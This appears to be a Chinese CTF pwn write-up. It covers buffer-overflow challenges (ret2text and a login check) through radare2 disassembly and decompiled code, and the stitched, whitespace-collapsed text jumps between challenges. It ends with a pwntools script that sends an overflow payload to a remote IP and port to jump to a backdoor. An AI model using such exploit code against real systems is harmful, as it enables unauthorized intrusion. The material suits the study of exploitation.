可以看到, 除了系统函数之外, 有两个函数: main 和 secure. 定位到 main, 反编译一下:
1
2
s main
pdg
1
2
3
4
5
6
7
8
9
10
11
12
undefined4dbg.main(void){undefinedauStack116[112];// int main();
sym.imp.setvbuf(_reloc.stdout,0,2,0);sym.imp.setvbuf(_reloc.stdin,0,1,0);sym.imp.puts("There is something amazing here, do you know anything?");sym.imp.gets(auStack116);sym.imp.printf("Maybe I will tell you next time !");return0;}
;DATAXREFfromentry0@0x8048517;--main:┌intdbg.main(intargc,char**argv,char**envp);│;varchar*buf@esp+0x4│;varintmode@esp+0x8│;varsize_tsize@esp+0xc│;varchar*s@esp+0x1c│0x08048648pushebp;ret2text.c:17;intmain();│0x08048649movebp,esp│0x0804864bandesp,0xfffffff0│0x0804864eaddesp,0xffffff80│0x08048651moveax,dword[obj.stdout];ret2text.c:18;obj.stdout__GLIBC_2.0│;[0x804a060:4]=0│0x08048656movdword[size],0;size_tsize│0x0804865emovdword[mode],2;intmode│0x08048666movdword[buf],0;char*buf│0x0804866emovdword[esp],eax;FILE*stream│0x08048671callsym.imp.setvbuf;intsetvbuf(FILE*stream,char*buf,intmode,size_tsize)│0x08048676moveax,dword[obj.stdin];ret2text.c:19;obj.__TMC_END│;[0x804a040:4]=0│0x0804867bmovdword[size],0;size_tsize│0x08048683movdword[mode],1;intmode│0x0804868bmovdword[buf],0;char*buf│0x08048693movdword[esp],eax;FILE*stream│0x08048696callsym.imp.setvbuf;intsetvbuf(FILE*stream,char*buf,intmode,size_tsize)│0x0804869bmovdword[esp],str.There_is_something_amazing_here__do_you_know_anything;ret2text.c:23;[0x804876c:4]=0x72656854;"There is something amazing here, do you know anything?";constchar*s│0x080486a2callsym.imp.puts;intputs(constchar*s)│0x080486a7leaeax,[s];ret2text.c:24│0x080486abmovdword[esp],eax;char*s│0x080486aecallsym.imp.gets;char*gets(char*s)│0x080486b3movdword[esp],str.Maybe_I_will_tell_you_next_time;ret2text.c:25;[0x80487a4:4]=0x6279614d;"Maybe I will tell you next time !";constchar*format│0x080486bacallsym.imp.printf;intprintf(constchar*format)│0x080486bfmoveax,0;ret2text.c:27│0x080486c4leave;ret2text.c:28└0x080486c5ret
可以看到, 字符串 s 定义在了 esp + 0x1c 的地方. 返回地址在 ebp + 4, 所以要覆盖它, 需要知道 s 到 ebp 的距离.
1
2
3
4
0x08048648 push ebp ; ret2text.c:17 ; int main();
0x08048649 mov ebp, esp
0x0804864b and esp, 0xfffffff0
0x0804864e add esp, 0xffffff80
aaa 分析后 afl 查看函数, 发现有一个 sys.get_shell, s sym.get_shell 并 pdg:
1
2
3
4
5
6
7
voidsym.get_shell(void){sym.imp.puts("tql~tql~tql~tql~tql~tql~tql");sym.imp.puts("this is your flag!");sym.imp.system("cat flag");return;}
发现是个后门函数, 其中执行了 system("cat flag").
s main 并 pdg:
1
2
3
4
5
6
7
8
9
10
11
12
undefined8main(void){void*buf;sym.imp.memset(&buf,0,0x30);sym.imp.setvbuf(_reloc.stdout,0,2,0);sym.imp.setvbuf(_reloc.stdin,0,1,0);sym.imp.puts("say something?");sym.imp.read(0,&buf,0x100);sym.imp.puts("oh,that\'s so boring!");return0;}
;DATAXREFfromentry0@0x4005ed┌intmain(intargc,char**argv,char**envp);│;varvoid*buf@rbp-0x30│0x004006c6pushrbp│0x004006c7movrbp,rsp│0x004006casubrsp,0x30│0x004006celearax,[buf]│0x004006d2movedx,0x30;'0';48;size_tn│0x004006d7movesi,0;intc│0x004006dcmovrdi,rax;void*s│0x004006dfcallsym.imp.memset;void*memset(void*s,intc,size_tn)│0x004006e4movrax,qword[obj.stdout];obj.stdout__GLIBC_2.2.5│;[0x601060:8]=0│0x004006ebmovecx,0;size_tsize│0x004006f0movedx,2;intmode│0x004006f5movesi,0;char*buf│0x004006famovrdi,rax;FILE*stream│0x004006fdcallsym.imp.setvbuf;intsetvbuf(FILE*stream,char*buf,intmode,size_tsize)│0x00400702movrax,qword[obj.stdin];obj.stdin__GLIBC_2.2.5│;[0x601070:8]=0│0x00400709movecx,0;size_tsize│0x0040070emovedx,1;intmode│0x00400713movesi,0;char*buf│0x00400718movrdi,rax;FILE*stream│0x0040071bcallsym.imp.setvbuf;intsetvbuf(FILE*stream,char*buf,intmode,size_tsize)│0x00400720movedi,str.say_something;0x400804;"say something?";constchar*s│0x00400725callsym.imp.puts;intputs(constchar*s)│0x0040072alearax,[buf]│0x0040072emovedx,0x100;256;size_tnbyte│0x00400733movrsi,rax;void*buf│0x00400736movedi,0;intfildes│0x0040073bcallsym.imp.read;ssize_tread(intfildes,void*buf,size_tnbyte)│0x00400740movedi,str.oh_that_s_so_boring;0x400813;"oh,that's so boring!";constchar*s│0x00400745callsym.imp.puts;intputs(constchar*s)│0x0040074amoveax,0│0x0040074fleave└0x00400750ret
voidsym.login(void){void*var_228h;char*buf;sym.imp.memset(&buf,0,0x20);sym.imp.memset(&var_228h,0,0x200);sym.imp.puts("Please input your username:");sym.imp.read(0,&buf,0x19);sym.imp.printf("Hello %s\n",&buf);sym.imp.puts("Please input your passwd:");sym.imp.read(0,&var_228h,0x199);sym.check_passwd((char*)&var_228h);return;}
读入用户名和密码, 这里边界正确, 并没有栈溢出. 发现最后调用了 check_passwd, s sym.check_passwd; pdg:
frompwnimport*# p = process('./int')r=remote('111.200.241.244',51620)backdoor=0x0804868bpayload=b'a'*(0x14+0x04)+p32(backdoor)+b'a'*0xe8r.recvuntil(b"Your choice:")r.sendline(b"1")r.recvuntil("Please input your username:")r.sendline(b"Wings")r.recvuntil(b"Please input your passwd:")r.sendline(payload)r.interactive()